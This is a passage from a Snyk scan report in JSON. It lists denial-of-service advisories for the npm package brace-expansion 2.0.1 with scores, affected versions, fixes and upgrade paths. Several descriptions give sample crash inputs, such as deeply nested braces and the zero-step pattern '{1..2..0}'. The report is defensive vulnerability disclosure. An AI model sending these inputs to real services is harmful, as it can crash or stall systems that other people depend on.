"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
